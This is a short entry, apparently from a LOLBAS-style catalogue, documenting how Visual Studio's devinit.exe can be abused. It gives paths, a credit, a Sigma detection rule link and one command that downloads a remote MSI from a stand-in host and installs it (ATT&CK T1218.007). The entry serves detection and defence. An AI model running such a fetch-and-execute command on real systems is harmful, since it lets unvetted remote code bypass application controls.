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Paths:

• C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
• C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe

Resources:

• https://twitter.com/mrd0x/status/1460815932402679809

Acknowledgements:

• mr.d0x (@mrd0x)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Execute

1. Downloads an MSI file to C:\Windows\Installer and then installs it.

   devinit.exe run -t msi-install -i https://example.com/out.msi

   Use case

   Executes code from a (remote) MSI file.

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1218.007